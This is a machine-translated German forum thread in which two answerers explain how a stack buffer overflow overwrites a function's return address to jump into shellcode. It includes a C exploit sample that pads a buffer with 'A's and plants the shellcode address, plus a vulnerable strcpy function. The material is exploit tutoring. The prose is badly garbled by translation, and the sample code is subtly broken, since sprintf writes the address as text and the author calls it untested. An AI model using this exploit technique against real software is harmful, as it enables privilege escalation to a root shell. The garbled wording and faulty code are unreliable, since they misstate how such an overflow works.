Mit Puffer-überlauf, der zum ausführen von shell-code

Meine erste Vermutung war, zum ändern der Rücksprungadresse, die eip, der Funktion, um zu finden und auszuführen, was in der Datei shellcode, aber ich merkte, ich habe keine Adresse, um die Datei, die ich darstellen kann, in einen hexadezimalen Wert.

Den Sie ändern möchten die RET-Adresse, so dass, wenn die Funktion endet es nicht zurück auf den Aufrufer aus, sondern auf den Beginn Ihres shellcode.

((, Wie ein kurzer überblick über das, was shellcode ist, es ist ein Satz von assembly-Anweisungen (also stark abhängig von der Plattform, die Sie ausführen anfällig Prozess), die das ausführen einer shell (in der Regel eine root-shell), so fallen Sie ab in einer schönen Umgebung, die man ausnutzen kann.))

Nun wieder, was Sie wollen, ist zu zeigen das RET bei der ersten Versammlung Anweisung in deinem shellcode. Das seltsame etwas ist, dass Sie es in einer separaten Datei. Ist das erforderlich?

Wie es normalerweise gemacht wird, ist, dass Sie so etwas wie dieses:

char shellcode[] = "\x90\x90\x90...";


int main()
{
        /* 
         * huge string (like your 72 A's) that appends the address of the 
         * shellcode at the right address (in your case I think it's 64 + 4) 
         */
        char evilstring[100]; 

        /* Fill the buf and the EBP with A's */
        for (int i = 0; i < 64 + 4; i++) {
                evilstring[i] = 'A';
        }
        /* And the RET with the address of your shellcode */
        sprintf(&evilstring[68], "%p", &shellcode[0]);
        vuln(evilstring);
        /* you should have a shell now */

        /* NOTREACHED */
        return 0;
}

So, jetzt, wenn Sie Ihre Funktion zurückgegeben wird, gibt es unter der Adresse der shellcode[] string, und es wird weiterhin die Ausführung von Anweisungen von dort. Das ist, was Sie wollen. Weil diejenigen, die Anweisungen geben Sie die root-shell (oder was auch immer es ist, dass Ihre shellcode).

Bitte beachten Sie, dass die oben ist nur Beispiel-code, es ist nicht einmal kompilieren getestet.

Wenn ich es nicht verstehen, Ihr problem oder wenn ich nicht gut genug erklären, fühlen Sie sich bitte frei zu Fragen.

InformationsquelleAutor Paul Irofti

Es ist nicht schwer, wenn Sie wissen, wo zu suchen, wie gesagt, vor dem öffnen der app w/gdb.
r(un). Dann habe ich(nfo) (r egisters), um zu sehen, warum es abgestürzt ist. zerlegen ist sehr nützlich aswell.

Auch, (ich nehme an, Sie wissen):

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
}

ist eigentlich

void vuln(char *str) {
    void *return;
    char buf[64];

    /* Set Return value and store stack */
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
    /* restore stack and jmp to return value. */
}

InformationsquelleAutor Stolas